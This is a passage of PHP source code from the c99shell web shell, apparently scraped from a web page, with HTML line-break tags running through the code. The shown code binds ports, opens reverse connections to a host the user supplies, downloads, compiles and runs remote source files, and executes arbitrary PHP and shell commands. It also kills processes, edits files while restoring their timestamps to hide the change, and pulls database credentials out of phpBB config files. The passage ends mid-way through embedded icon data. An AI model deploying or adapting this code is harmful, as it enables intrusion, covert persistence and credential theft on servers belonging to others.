    $v[1] = str_replace("%host",$bc["host"],$v[1]);<br />
    $v[1] = str_replace("%port",$bc["port"],$v[1]);<br />
    $v[1] = str_replace("//","/",$v[1]);<br />
    $retbind = myshellexec($v[1]." > /dev/null &#038;");<br />
    echo "Now script try connect to ".htmlspecialchars($bc["host"]).":".htmlspecialchars($bc["port"])."...<br />";<br />
   }<br />
  }<br />
 }<br />
 if (!empty($dpsubmit))<br />
 {<br />
  echo "<b>Result of datapipe-running:</b><br />";<br />
  $v = $dpsrcs[$datapipe["src"]];<br />
  if (empty($v)) {echo "Unknown file!<br />";}<br />
  elseif (fsockopen(getenv("SERVER_ADDR"),$datapipe["port"],$errno,$errstr,0.1)) {echo "Port alredy in use, select any other!<br />";}<br />
  else<br />
  {<br />
   $srcpath = $tmpdir.$datapipe["src"];<br />
   $w = explode(".",$datapipe["src"]);<br />
   $ext = $w[count($w)-1];<br />
   unset($w[count($w)-1]);<br />
   $srcpath = join(".",$w).".".rand(0,999).".".$ext;<br />
   $binpath = $tmpdir.join(".",$w).rand(0,999);<br />
   if ($ext == "pl") {$binpath = $srcpath;}<br />
   @unlink($srcpath);<br />
   $fp = fopen($srcpath,"ab+");<br />
   if (!$fp) {echo "Can't write sources to \"".$srcpath."\"!<br />";}<br />
   elseif (!$data = c99getsource($datapipe["src"])) {echo "Can't download sources!";}<br />
   else<br />
   {<br />
    fwrite($fp,$data,strlen($data));<br />
    fclose($fp);<br />
    if ($ext == "c") {$retgcc = myshellexec("gcc -o ".$binpath." ".$srcpath); @unlink($srcpath);}<br />
    list($datapipe["remotehost"],$datapipe["remoteport"]) = explode(":",$datapipe["remoteaddr"]);<br />
    $v[1] = str_replace("%path",$binpath,$v[1]);<br />
    $v[1] = str_replace("%localport",$datapipe["localport"],$v[1]);<br />
    $v[1] = str_replace("%remotehost",$datapipe["remotehost"],$v[1]);<br />
    $v[1] = str_replace("%remoteport",$datapipe["remoteport"],$v[1]);<br />
    $v[1] = str_replace("//","/",$v[1]);<br />
    $retbind = myshellexec($v[1]." > /dev/null &#038;");<br />
    sleep(5);<br />
    $sock = fsockopen("localhost",$datapipe["port"],$errno,$errstr,5);<br />
    if (!$sock) {echo "I can't connect to localhost:".$datapipe["localport"]."! I think you should configure your firewall.";}<br />
    else {echo "Running datapipe... ok! Connect to <b>".getenv("SERVER_ADDR").":".$datapipe["port"].", and you will connected to ".$datapipe["remoteaddr"]."</b>! You should use NetCat&copy;, run \"<b>nc -v ".getenv("SERVER_ADDR")." ".$bind["port"]."</b>\"!<center><a href=\"".$surl."act=processes&#038;grep=".basename($binpath)."\"><u>View datapipe process</u></a></center>";}<br />
   }<br />
   echo "<br />";<br />
  }<br />
 }<br />
 ?><b>Binding port:</b><br />
<form action="<?php echo $surl; ?>"><input type=hidden name=act value=tools><input type=hidden name=d value="<?php echo $d; ?>">Port: <input type=text name="bind[port]" value="<?php echo htmlspecialchars($bind["port"]); ?>">&nbsp;Password: <input type=text name="bind[pass]" value="<?php echo htmlspecialchars($bind["pass"]); ?>">&nbsp;<br />
<select name="bind[src]"><?php<br />
 foreach($bndportsrcs as $k=>$v) {echo "<br />
<option value=\"".$k."\""; if ($k == $bind["src"]) {echo " selected";} echo ">".$v[0]."</option>
<p>";}<br />
 ?></select>
<p>&nbsp;<input type=submit name=bindsubmit value="Bind"></form>
<p><b>Back connection:</b><br />
<form action="<?php echo $surl; ?>"><input type=hidden name=act value=tools><input type=hidden name=d value="<?php echo $d; ?>">HOST: <input type=text name="bc[host]" value="<?php echo htmlspecialchars($bc["host"]); ?>">&nbsp;Port: <input type=text name="bc[port]" value="<?php echo htmlspecialchars($bc["port"]); ?>">&nbsp;<br />
<select name="bc[src]"><?php<br />
foreach($bcsrcs as $k=>$v) {echo "<br />
<option value=\"".$k."\""; if ($k == $bc["src"]) {echo " selected";} echo ">".$v[0]."</option>
<p>";}<br />
?></select>
<p>&nbsp;<input type=submit name=bcsubmit value="Connect"></form>
<p>Click "Connect" only after open port for it. You should use NetCat&copy;, run "<b>nc -l -n -v -p <?php echo $bc_port; ?></b>"!</p>
<p><b>Datapipe:</b><br />
<form action="<?php echo $surl; ?>"><input type=hidden name=act value=tools><input type=hidden name=d value="<?php echo $d; ?>">HOST: <input type=text name="datapipe[remoteaddr]" value="<?php echo htmlspecialchars($datapipe["remoteaddr"]); ?>">&nbsp;Local port: <input type=text name="datapipe[localport]" value="<?php echo htmlspecialchars($datapipe["localport"]); ?>">&nbsp;<br />
<select name="datapipe[src]"><?php<br />
foreach($dpsrcs as $k=>$v) {echo "<br />
<option value=\"".$k."\""; if ($k == $bc["src"]) {echo " selected";} echo ">".$v[0]."</option>
<p>";}<br />
?></select>
<p>&nbsp;<input type=submit name=dpsubmit value="Run"></form>
<p><b>Note:</b> sources will be downloaded from remote server.<?php<br />
}<br />
if ($act == "processes")<br />
{<br />
 echo "<b>Processes:</b><br />";<br />
 if (!$win) {$handler = "ps -aux".($grep?" | grep '".addslashes($grep)."'":"");}<br />
 else {$handler = "tasklist";}<br />
 $ret = myshellexec($handler);<br />
 if (!$ret) {echo "Can't execute \"".$handler."\"!";}<br />
 else<br />
 {<br />
  if (empty($processes_sort)) {$processes_sort = $sort_default;}<br />
  $parsesort = parsesort($processes_sort);<br />
  if (!is_numeric($parsesort[0])) {$parsesort[0] = 0;}<br />
  $k = $parsesort[0];<br />
  if ($parsesort[1] != "a") {$y = "<a href=\"".$surl."act=".$dspact."&#038;d=".urlencode($d)."&#038;processes_sort=".$k."a\"><img src=\"".$surl."act=img&#038;img=sort_desc\" height=\"9\" width=\"14\" border=\"0\"></a>";}<br />
  else {$y = "<a href=\"".$surl."act=".$dspact."&#038;d=".urlencode($d)."&#038;processes_sort=".$k."d\"><img src=\"".$surl."act=img&#038;img=sort_asc\" height=\"9\" width=\"14\" border=\"0\"></a>";}<br />
  $ret = htmlspecialchars($ret);<br />
  if (!$win)<br />
  {<br />
   if ($pid)<br />
   {<br />
    if (is_null($sig)) {$sig = 9;}<br />
    echo "Sending signal ".$sig." to #".$pid."... ";<br />
    if (posix_kill($pid,$sig)) {echo "OK.";}<br />
    else {echo "ERROR.";}<br />
   }<br />
   while (ereg("  ",$ret)) {$ret = str_replace("  "," ",$ret);}<br />
   $stack = explode("\n",$ret);<br />
   $head = explode(" ",$stack[0]);<br />
   unset($stack[0]);<br />
   for($i=0;$i<count($head);$i++)<br />
   {<br />
    if ($i != $k) {$head[$i] = "<a href=\"".$surl."act=".$dspact."&#038;d=".urlencode($d)."&#038;processes_sort=".$i.$parsesort[1]."\"><b>".$head[$i]."</b></a>";}<br />
   }<br />
   $prcs = array();<br />
   foreach ($stack as $line)<br />
   {<br />
    if (!empty($line))<br />
{<br />
 echo "<br />
<tr>";<br />
     $line = explode(" ",$line);<br />
     $line[10] = join(" ",array_slice($line,10));<br />
     $line = array_slice($line,0,11);<br />
     if ($line[0] == get_current_user()) {$line[0] = "<font color=green>".$line[0]."</font>";}<br />
     $line[] = "<a href=\"".$surl."act=processes&#038;d=".urlencode($d)."&#038;pid=".$line[1]."&#038;sig=9\"><u>KILL</u></a>";<br />
     $prcs[] = $line;<br />
     echo "</tr>
<p>";<br />
    }<br />
   }<br />
  }<br />
  else<br />
  {<br />
   while (ereg("  ",$ret)) {$ret = str_replace("  ","",$ret);}<br />
   while (ereg("  ",$ret)) {$ret = str_replace("  ","",$ret);}<br />
   while (ereg("  ",$ret)) {$ret = str_replace("  ","",$ret);}<br />
   while (ereg("  ",$ret)) {$ret = str_replace("  ","",$ret);}<br />
   while (ereg("  ",$ret)) {$ret = str_replace("  ","",$ret);}<br />
   while (ereg("  ",$ret)) {$ret = str_replace("  ","",$ret);}<br />
   while (ereg("  ",$ret)) {$ret = str_replace("  ","",$ret);}<br />
   while (ereg("  ",$ret)) {$ret = str_replace("  ","",$ret);}<br />
   while (ereg("  ",$ret)) {$ret = str_replace("  ","",$ret);}<br />
   while (ereg("",$ret)) {$ret = str_replace("","",$ret);}<br />
   while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);}<br />
   $ret = convert_cyr_string($ret,"d","w");<br />
   $stack = explode("\n",$ret);<br />
   unset($stack[0],$stack[2]);<br />
   $stack = array_values($stack);<br />
   $head = explode("",$stack[0]);<br />
   $head[1] = explode(" ",$head[1]);<br />
   $head[1] = $head[1][0];<br />
   $stack = array_slice($stack,1);<br />
   unset($head[2]);<br />
   $head = array_values($head);<br />
   if ($parsesort[1] != "a") {$y = "<a href=\"".$surl."act=".$dspact."&#038;d=".urlencode($d)."&#038;processes_sort=".$k."a\"><img src=\"".$surl."act=img&#038;img=sort_desc\" height=\"9\" width=\"14\" border=\"0\"></a>";}<br />
   else {$y = "<a href=\"".$surl."act=".$dspact."&#038;d=".urlencode($d)."&#038;processes_sort=".$k."d\"><img src=\"".$surl."act=img&#038;img=sort_asc\" height=\"9\" width=\"14\" border=\"0\"></a>";}<br />
   if ($k > count($head)) {$k = count($head)-1;}<br />
   for($i=0;$i<count($head);$i++)<br />
   {<br />
    if ($i != $k) {$head[$i] = "<a href=\"".$surl."act=".$dspact."&#038;d=".urlencode($d)."&#038;processes_sort=".$i.$parsesort[1]."\"><b>".trim($head[$i])."</b></a>";}<br />
   }<br />
   $prcs = array();<br />
   foreach ($stack as $line)<br />
   {<br />
    if (!empty($line))<br />
    {<br />
     echo "<br />
<tr>";<br />
     $line = explode("",$line);<br />
     $line[1] = intval($line[1]); $line[2] = $line[3]; unset($line[3]);<br />
     $line[2] = intval(str_replace(" ","",$line[2]))*1024;<br />
     $prcs[] = $line;<br />
     echo "</tr>
<p>";<br />
    }<br />
   }<br />
  }<br />
  $head[$k] = "<b>".$head[$k]."</b>".$y;<br />
  $v = $processes_sort[0];<br />
  usort($prcs,"tabsort");<br />
  if ($processes_sort[1] == "d") {$prcs = array_reverse($prcs);}<br />
  $tab = array();<br />
  $tab[] = $head;<br />
  $tab = array_merge($tab,$prcs);<br />
  echo "<TABLE height=1 cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"100%\" bgColor=#333333 borderColorLight=#c0c0c0 border=1 bordercolor=\"#C0C0C0\">";<br />
  foreach($tab as $i=>$k)<br />
  {<br />
   echo "<br />
<tr>";<br />
   foreach($k as $j=>$v) {if ($win and $i > 0 and $j == 2) {$v = view_size($v);} echo "
<td>".$v."</td>
<p>";}<br />
   echo "</tr>
<p>";<br />
  }<br />
  echo "</table>
<p>";<br />
 }<br />
}<br />
if ($act == "eval")<br />
{<br />
 if (!empty($eval))<br />
 {<br />
  echo "<b>Result of execution this PHP-code</b>:<br />";<br />
  $tmp = ob_get_contents();<br />
  $olddir = realpath(".");<br />
  @chdir($d);<br />
  if ($tmp)<br />
  {<br />
   ob_clean();<br />
   eval($eval);<br />
   $ret = ob_get_contents();<br />
   $ret = convert_cyr_string($ret,"d","w");<br />
   ob_clean();<br />
   echo $tmp;<br />
   if ($eval_txt)<br />
   {<br />
    $rows = count(explode("\r\n",$ret))+1;<br />
    if ($rows < 10) {$rows = 10;}<br />
    echo "<br /><textarea cols=\"122\" rows=\"".$rows."\" readonly>".htmlspecialchars($ret)."</textarea>";<br />
   }<br />
   else {echo $ret."<br />";}<br />
  }<br />
  else<br />
  {<br />
   if ($eval_txt)<br />
   {<br />
    echo "<br /><textarea cols=\"122\" rows=\"15\" readonly>";<br />
    eval($eval);<br />
    echo "</textarea>";<br />
   }<br />
   else {echo $ret;}<br />
  }<br />
  @chdir($olddir);<br />
 }<br />
 else {echo "<b>Execution PHP-code</b>"; if (empty($eval_txt)) {$eval_txt = TRUE;}}<br />
 echo "<br />
<form action=\"".$surl."\" method=POST><input type=hidden name=act value=eval><textarea name=\"eval\" cols=\"122\" rows=\"10\">".htmlspecialchars($eval)."</textarea><input type=hidden name=\"d\" value=\"".$dispd."\"></p>
<p><input type=submit value=\"Execute\">&nbsp;Display in text-area&nbsp;<input type=\"checkbox\" name=\"eval_txt\" value=\"1\""; if ($eval_txt) {echo " checked";} echo "></form>
<p>";<br />
}<br />
if ($act == "f")<br />
{<br />
 if ((!is_readable($d.$f) or is_dir($d.$f)) and $ft != "edit")<br />
 {<br />
  if (file_exists($d.$f)) {echo "<center><b>Permision denied (".htmlspecialchars($d.$f).")!</b></center>";}<br />
  else {echo "<center><b>File does not exists (".htmlspecialchars($d.$f).")!</b><br /><a href=\"".$surl."act=f&#038;f=".urlencode($f)."&#038;ft=edit&#038;d=".urlencode($d)."&#038;c=1\"><u>Create</u></a></center>";}<br />
 }<br />
 else<br />
 {<br />
  $r = @file_get_contents($d.$f);<br />
  $ext = explode(".",$f);<br />
  $c = count($ext)-1;<br />
  $ext = $ext[$c];<br />
  $ext = strtolower($ext);<br />
  $rft = "";<br />
  foreach($ftypes as $k=>$v) {if (in_array($ext,$v)) {$rft = $k; break;}}<br />
  if (eregi("sess_(.*)",$f)) {$rft = "phpsess";}<br />
  if (empty($ft)) {$ft = $rft;}<br />
  $arr = array(<br />
   array("<img src=\"".$surl."act=img&#038;img=ext_diz\" border=\"0\">","info"),<br />
   array("<img src=\"".$surl."act=img&#038;img=ext_html\" border=\"0\">","html"),<br />
   array("<img src=\"".$surl."act=img&#038;img=ext_txt\" border=\"0\">","txt"),<br />
   array("Code","code"),<br />
   array("Session","phpsess"),<br />
   array("<img src=\"".$surl."act=img&#038;img=ext_exe\" border=\"0\">","exe"),<br />
   array("SDB","sdb"),<br />
   array("<img src=\"".$surl."act=img&#038;img=ext_gif\" border=\"0\">","img"),<br />
   array("<img src=\"".$surl."act=img&#038;img=ext_ini\" border=\"0\">","ini"),<br />
   array("<img src=\"".$surl."act=img&#038;img=download\" border=\"0\">","download"),<br />
   array("<img src=\"".$surl."act=img&#038;img=ext_rtf\" border=\"0\">","notepad"),<br />
   array("<img src=\"".$surl."act=img&#038;img=change\" border=\"0\">","edit")<br />
  );<br />
  echo "<b>Viewing file:&nbsp;&nbsp;&nbsp;&nbsp;<img src=\"".$surl."act=img&#038;img=ext_".$ext."\" border=\"0\">&nbsp;".$f." (".view_size(filesize($d.$f)).") &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;".view_perms_color($d.$f)."</b><br />Select action/file-type:<br />";<br />
  foreach($arr as $t)<br />
  {<br />
   if ($t[1] == $rft) {echo " <a href=\"".$surl."act=f&#038;f=".urlencode($f)."&#038;ft=".$t[1]."&#038;d=".urlencode($d)."\"><font color=green>".$t[0]."</font></a>";}<br />
   elseif ($t[1] == $ft) {echo " <a href=\"".$surl."act=f&#038;f=".urlencode($f)."&#038;ft=".$t[1]."&#038;d=".urlencode($d)."\"><b><u>".$t[0]."</u></b></a>";}<br />
   else {echo " <a href=\"".$surl."act=f&#038;f=".urlencode($f)."&#038;ft=".$t[1]."&#038;d=".urlencode($d)."\"><b>".$t[0]."</b></a>";}<br />
   echo " (<a href=\"".$surl."act=f&#038;f=".urlencode($f)."&#038;ft=".$t[1]."&#038;white=1&#038;d=".urlencode($d)."\" target=\"_blank\">+</a>) |";<br />
  }<br />
  echo "<br />
<hr size=\"1\" noshade>";<br />
  if ($ft == "info")<br />
  {<br />
   echo "<b>Information:</b><br />
<table border=0 cellspacing=1 cellpadding=2>
<tr>
<td><b>Path</b></td>
<td> ".$d.$f."</td>
</tr>
<tr>
<td><b>Size</b></td>
<td> ".view_size(filesize($d.$f))."</td>
</tr>
<tr>
<td><b>MD5</b></td>
<td> ".md5_file($d.$f)."</td>
</tr>
<p>";<br />
   if (!$win)<br />
   {<br />
    echo "<br />
<tr>
<td><b>Owner/Group</b></td>
<td> ";<br />
    $ow = posix_getpwuid(fileowner($d.$f));<br />
    $gr = posix_getgrgid(filegroup($d.$f));<br />
    echo ($ow["name"]?$ow["name"]:fileowner($d.$f))."/".($gr["name"]?$gr["name"]:filegroup($d.$f));<br />
   }<br />
   echo "<br />
<tr>
<td><b>Perms</b></td>
<td><a href=\"".$surl."act=chmod&#038;f=".urlencode($f)."&#038;d=".urlencode($d)."\">".view_perms_color($d.$f)."</a></td>
</tr>
<tr>
<td><b>Create time</b></td>
<td> ".date("d/m/Y H:i:s",filectime($d.$f))."</td>
</tr>
<tr>
<td><b>Access time</b></td>
<td> ".date("d/m/Y H:i:s",fileatime($d.$f))."</td>
</tr>
<tr>
<td><b>MODIFY time</b></td>
<td> ".date("d/m/Y H:i:s",filemtime($d.$f))."</td>
</tr>
</table>
<p>";<br />
   $fi = fopen($d.$f,"rb");<br />
   if ($fi)<br />
   {<br />
    if ($fullhexdump) {echo "<b>FULL HEXDUMP</b>"; $str = fread($fi,filesize($d.$f));}<br />
    else {echo "<b>HEXDUMP PREVIEW</b>"; $str = fread($fi,$hexdump_lines*$hexdump_rows);}<br />
    $n = 0;<br />
    $a0 = "00000000<br />";<br />
    $a1 = "";<br />
    $a2 = "";<br />
    for ($i=0; $i<strlen($str); $i++)<br />
    {<br />
     $a1 .= sprintf("%02X",ord($str[$i]))." ";<br />
     switch (ord($str[$i]))<br />
     {<br />
      case 0:  $a2 .= "<font>0</font>"; break;<br />
      case 32:<br />
      case 10:<br />
      case 13: $a2 .= "&nbsp;"; break;<br />
      default: $a2 .= htmlspecialchars($str[$i]);<br />
     }<br />
     $n++;<br />
     if ($n == $hexdump_rows)<br />
     {<br />
      $n = 0;<br />
      if ($i+1 < strlen($str)) {$a0 .= sprintf("%08X",$i+1)."<br />";}<br />
      $a1 .= "<br />";<br />
      $a2 .= "<br />";<br />
     }<br />
    }<br />
    //if ($a1 != "") {$a0 .= sprintf("%08X",$i)."<br />";}<br />
    echo "<br />
<table border=0 bgcolor=#666666 cellspacing=1 cellpadding=4>
<tr>
<td bgcolor=#666666>".$a0."</td>
<td bgcolor=000000>".$a1."</td>
<td bgcolor=000000>".$a2."</td>
</tr>
</table>
<p>";<br />
   }<br />
   $encoded = "";<br />
   if ($base64 == 1)<br />
   {<br />
    echo "<b>Base64 Encode</b><br />";<br />
    $encoded = base64_encode(file_get_contents($d.$f));<br />
   }<br />
   elseif($base64 == 2)<br />
   {<br />
    echo "<b>Base64 Encode + Chunk</b><br />";<br />
    $encoded = chunk_split(base64_encode(file_get_contents($d.$f)));<br />
   }<br />
   elseif($base64 == 3)<br />
   {<br />
    echo "<b>Base64 Encode + Chunk + Quotes</b><br />";<br />
    $encoded = base64_encode(file_get_contents($d.$f));<br />
    $encoded = substr(preg_replace("!.{1,76}!","'\\0'.\n",$encoded),0,-2);<br />
   }<br />
   elseif($base64 == 4)<br />
   {<br />
    $text = file_get_contents($d.$f);<br />
    $encoded = base64_decode($text);<br />
    echo "<b>Base64 Decode";<br />
    if (base64_encode($encoded) != $text) {echo " (failed)";}<br />
    echo "</b><br />";<br />
   }<br />
   if (!empty($encoded))<br />
   {<br />
    echo "<textarea cols=80 rows=10>".htmlspecialchars($encoded)."</textarea></p>
<p>";<br />
   }<br />
   echo "<b>HEXDUMP:</b><nobr> [<a href=\"".$surl."act=f&#038;f=".urlencode($f)."&#038;ft=info&#038;fullhexdump=1&#038;d=".urlencode($d)."\">Full</a>] [<a href=\"".$surl."act=f&#038;f=".urlencode($f)."&#038;ft=info&#038;d=".urlencode($d)."\">Preview</a>]<br /><b>Base64: </b><br />
<nobr>[<a href=\"".$surl."act=f&#038;f=".urlencode($f)."&#038;ft=info&#038;base64=1&#038;d=".urlencode($d)."\">Encode</a>]&nbsp;</nobr><br />
<nobr>[<a href=\"".$surl."act=f&#038;f=".urlencode($f)."&#038;ft=info&#038;base64=2&#038;d=".urlencode($d)."\">+chunk</a>]&nbsp;</nobr><br />
<nobr>[<a href=\"".$surl."act=f&#038;f=".urlencode($f)."&#038;ft=info&#038;base64=3&#038;d=".urlencode($d)."\">+chunk+quotes</a>]&nbsp;</nobr><br />
<nobr>[<a href=\"".$surl."act=f&#038;f=".urlencode($f)."&#038;ft=info&#038;base64=4&#038;d=".urlencode($d)."\">Decode</a>]&nbsp;</nobr><br />
<P>";<br />
  }<br />
  elseif ($ft == "html")<br />
  {<br />
   if ($white) {@ob_clean();}<br />
   echo $r;<br />
   if ($white) {c99shexit();}<br />
  }<br />
  elseif ($ft == "txt") {echo "
<pre>".htmlspecialchars($r)."</pre>
<p>";}<br />
  elseif ($ft == "ini") {echo "
<pre>"; var_dump(parse_ini_file($d.$f,TRUE)); echo "</pre>
<p>";}<br />
  elseif ($ft == "phpsess")<br />
  {<br />
   echo "
<pre>";
   $v = explode("|",$r);
   echo $v[0]."<br />";
   var_dump(unserialize($v[1]));
   echo "</pre>
<p>";<br />
  }<br />
  elseif ($ft == "exe")<br />
  {<br />
   $ext = explode(".",$f);<br />
   $c = count($ext)-1;<br />
   $ext = $ext[$c];<br />
   $ext = strtolower($ext);<br />
   $rft = "";<br />
   foreach($exeftypes as $k=>$v)<br />
   {<br />
    if (in_array($ext,$v)) {$rft = $k; break;}<br />
   }<br />
   $cmd = str_replace("%f%",$f,$rft);<br />
   echo "<b>Execute file:</b><br />
<form action=\"".$surl."\" method=POST><input type=hidden name=act value=cmd><input type=\"text\" name=\"cmd\" value=\"".htmlspecialchars($cmd)."\" size=\"".(strlen($cmd)+2)."\"><br />Display in text-area<input type=\"checkbox\" name=\"cmd_txt\" value=\"1\" checked><input type=hidden name=\"d\" value=\"".htmlspecialchars($d)."\"><br /><input type=submit name=submit value=\"Execute\"></form>
<p>";<br />
  }<br />
  elseif ($ft == "sdb") {echo "
<pre>"; var_dump(unserialize(base64_decode($r))); echo "</pre>
<p>";}<br />
  elseif ($ft == "code")<br />
  {<br />
   if (ereg("php"."BB 2.(.*) auto-generated config file",$r))<br />
   {<br />
    $arr = explode("\n",$r);<br />
    if (count($arr == 18))<br />
    {<br />
     include($d.$f);<br />
     echo "<b>phpBB configuration is detected in this file!<br />";<br />
     if ($dbms == "mysql4") {$dbms = "mysql";}<br />
     if ($dbms == "mysql") {echo "<a href=\"".$surl."act=sql&#038;sql_server=".htmlspecialchars($dbhost)."&#038;sql_login=".htmlspecialchars($dbuser)."&#038;sql_passwd=".htmlspecialchars($dbpasswd)."&#038;sql_port=3306&#038;sql_db=".htmlspecialchars($dbname)."\"><b><u>Connect to DB</u></b></a></p>
<p>";}<br />
     else {echo "But, you can't connect to forum sql-base, because db-software=\"".$dbms."\" is not supported by c99shell. Please, report us for fix.";}<br />
     echo "Parameters for manual connect:<br />";<br />
     $cfgvars = array("dbms"=>$dbms,"dbhost"=>$dbhost,"dbname"=>$dbname,"dbuser"=>$dbuser,"dbpasswd"=>$dbpasswd);<br />
     foreach ($cfgvars as $k=>$v) {echo htmlspecialchars($k)."='".htmlspecialchars($v)."'<br />";}<br />
     echo "</b><br />
<hr size=\"1\" noshade>";<br />
    }<br />
   }<br />
   echo "
<div style=\"border : 0px solid #FFFFFF; padding: 1em; margin-top: 1em; margin-bottom: 1em; margin-right: 1em; margin-left: 1em; background-color: ".$highlight_background .";\">";<br />
   if (!empty($white)) {@ob_clean();}<br />
   highlight_file($d.$f);<br />
   if (!empty($white)) {c99shexit();}<br />
   echo "</div>
<p>";<br />
  }<br />
  elseif ($ft == "download")<br />
  {<br />
   @ob_clean();<br />
   header("Content-type: application/octet-stream");<br />
   header("Content-length: ".filesize($d.$f));<br />
   header("Content-disposition: attachment; filename=\"".$f."\";");<br />
   echo $r;<br />
   exit;<br />
  }<br />
  elseif ($ft == "notepad")<br />
  {<br />
   @ob_clean();<br />
   header("Content-type: text/plain");<br />
   header("Content-disposition: attachment; filename=\"".$f.".txt\";");<br />
   echo($r);<br />
   exit;<br />
  }<br />
  elseif ($ft == "img")<br />
  {<br />
   $inf = getimagesize($d.$f);<br />
   if (!$white)<br />
   {<br />
    if (empty($imgsize)) {$imgsize = 20;}<br />
    $width = $inf[0]/100*$imgsize;<br />
    $height = $inf[1]/100*$imgsize;<br />
    echo "<center><b>Size:</b>&nbsp;";<br />
    $sizes = array("100","50","20");<br />
    foreach ($sizes as $v)<br />
    {<br />
     echo "<a href=\"".$surl."act=f&#038;f=".urlencode($f)."&#038;ft=img&#038;d=".urlencode($d)."&#038;imgsize=".$v."\">";<br />
     if ($imgsize != $v ) {echo $v;}<br />
     else {echo "<u>".$v."</u>";}<br />
     echo "</a>&nbsp;&nbsp;&nbsp;";<br />
    }<br />
    echo "</p>
<p><img src=\"".$surl."act=f&#038;f=".urlencode($f)."&#038;ft=img&#038;white=1&#038;d=".urlencode($d)."\" width=\"".$width."\" height=\"".$height."\" border=\"1\"></center>";<br />
   }<br />
   else<br />
   {<br />
    @ob_clean();<br />
    $ext = explode($f,".");<br />
    $ext = $ext[count($ext)-1];<br />
    header("Content-type: ".$inf["mime"]);<br />
    readfile($d.$f);<br />
    exit;<br />
   }<br />
  }<br />
  elseif ($ft == "edit")<br />
  {<br />
   if (!empty($submit))<br />
   {<br />
    if ($filestealth) {$stat = stat($d.$f);}<br />
    $fp = fopen($d.$f,"w");<br />
    if (!$fp) {echo "<b>Can't write to file!</b>";}<br />
    else<br />
    {<br />
     echo "<b>Saved!</b>";<br />
     fwrite($fp,$edit_text);<br />
     fclose($fp);<br />
     if ($filestealth) {touch($d.$f,$stat[9],$stat[8]);}<br />
     $r = $edit_text;<br />
    }<br />
   }<br />
   $rows = count(explode("\r\n",$r));<br />
   if ($rows < 10) {$rows = 10;}<br />
   if ($rows > 30) {$rows = 30;}<br />
   echo "<br />
<form action=\"".$surl."act=f&#038;f=".urlencode($f)."&#038;ft=edit&#038;d=".urlencode($d)."\" method=POST><input type=submit name=submit value=\"Save\">&nbsp;<input type=\"reset\" value=\"Reset\">&nbsp;<input type=\"button\" onclick=\"location.href='".addslashes($surl."act=ls&#038;d=".substr($d,0,-1))."';\" value=\"Back\"><br /><textarea name=\"edit_text\" cols=\"122\" rows=\"".$rows."\">".htmlspecialchars($r)."</textarea></form>
<p>";<br />
  }<br />
  elseif (!empty($ft)) {echo "<center><b>Manually selected type is incorrect. If you think, it is mistake, please send us url and dump of \$GLOBALS.</b></center>";}<br />
  else {echo "<center><b>Unknown extension (".$ext."), please, select type manually.</b></center>";}<br />
 }<br />
}<br />
}<br />
else<br />
{<br />
 @ob_clean();<br />
 $images = array(<br />
"arrow_ltr"=><br />
"R0lGODlhJgAWAIAAAAAAAP///yH5BAUUAAEALAAAAAAmABYAAAIvjI+py+0PF4i0gVvzuVxXDnoQ".<br />
"SIrUZGZoerKf28KjPNPOaku5RfZ+uQsKh8RiogAAOw==",<br />
"back"=><br />
"R0lGODlhFAAUAKIAAAAAAP///93d3cDAwIaGhgQEBP///wAAACH5BAEAAAYALAAAAAAUABQAAAM8".<br />
"aLrc/jDKSWWpjVysSNiYJ4CUOBJoqjniILzwuzLtYN/3zBSErf6kBW+gKRiPRghPh+EFK0mOUEqt".<br />
"Wg0JADs=",<br />
"buffer"=><br />
"R0lGODlhFAAUAKIAAAAAAP////j4+N3d3czMzLKysoaGhv///yH5BAEAAAcALAAAAAAUABQAAANo".<br />
"eLrcribG90y4F1Amu5+NhY2kxl2CMKwrQRSGuVjp4LmwDAWqiAGFXChg+xhnRB+ptLOhai1crEmD".<br />
"Dlwv4cEC46mi2YgJQKaxsEGDFnnGwWDTEzj9jrPRdbhuG8Cr/2INZIOEhXsbDwkAOw==",<br />
"change"=><br />
"R0lGODlhFAAUAMQfAL3hj7nX+pqo1ejy/f7YAcTb+8vh+6FtH56WZtvr/RAQEZecx9Ll/PX6/v3+".<br />
"/3eHt6q88eHu/ZkfH3yVyIuQt+72/kOm99fo/P8AZm57rkGS4Hez6pil9oep3GZmZv///yH5BAEA".<br />
"AB8ALAAAAAAUABQAAAWf4CeOZGme6NmtLOulX+c4TVNVQ7e9qFzfg4HFonkdJA5S54cbRAoFyEOC".<br />
"wSiUtmYkkrgwOAeA5zrqaLldBiNMIJeD266XYTgQDm5Rx8mdG+oAbSYdaH4Ga3c8JBMJaXQGBQgA".<br />
"CHkjE4aQkQ0AlSITan+ZAQqkiiQPj1AFAaMKEKYjD39QrKwKAa8nGQK8Agu/CxTCsCMexsfIxjDL".<br />
"zMshADs=",<br />
"delete"=><br />
"R0lGODlhFAAUAOZZAPz8/NPFyNgHLs0YOvPz8/b29sacpNXV1fX19cwXOfDw8Kenp/n5+etgeunp".<br />
"6dcGLMMpRurq6pKSktvb2+/v7+1wh3R0dPnP17iAipxyel9fX7djcscSM93d3ZGRkeEsTevd4LCw".<br />
"sGRkZGpOU+IfQ+EQNoh6fdIcPeHh4YWFhbJQYvLy8ui+xm5ubsxccOx8kcM4UtY9WeAdQYmJifWv".<br />
"vHx8fMnJycM3Uf3v8rRue98ONbOzs9YFK5SUlKYoP+Tk5N0oSufn57ZGWsQrR9kIL5CQkOPj42Vl".<br />
"ZeAPNudAX9sKMPv7+15QU5ubm39/f8e5u4xiatra2ubKz8PDw+pfee9/lMK0t81rfd8AKf///wAA".<br />
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".<br />
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5".<br />
"BAEAAFkALAAAAAAUABQAAAesgFmCg4SFhoeIhiUfIImIMlgQB46GLAlYQkaFVVhSAIZLT5cbEYI4".<br />
"STo5MxOfhQwBA1gYChckQBk1OwiIALACLkgxJilTBI69RFhDFh4HDJRZVFgPPFBR0FkNWDdMHA8G".<br />
"BZTaMCISVgMC4IkVWCcaPSi96OqGNFhKI04dgr0QWFcKDL3A4uOIjVZZABxQIWDBLkIEQrRoQsHQ".<br />
"jwVFHBgiEGQFIgQasYkcSbJQIAA7",<br />
"download"=><br />
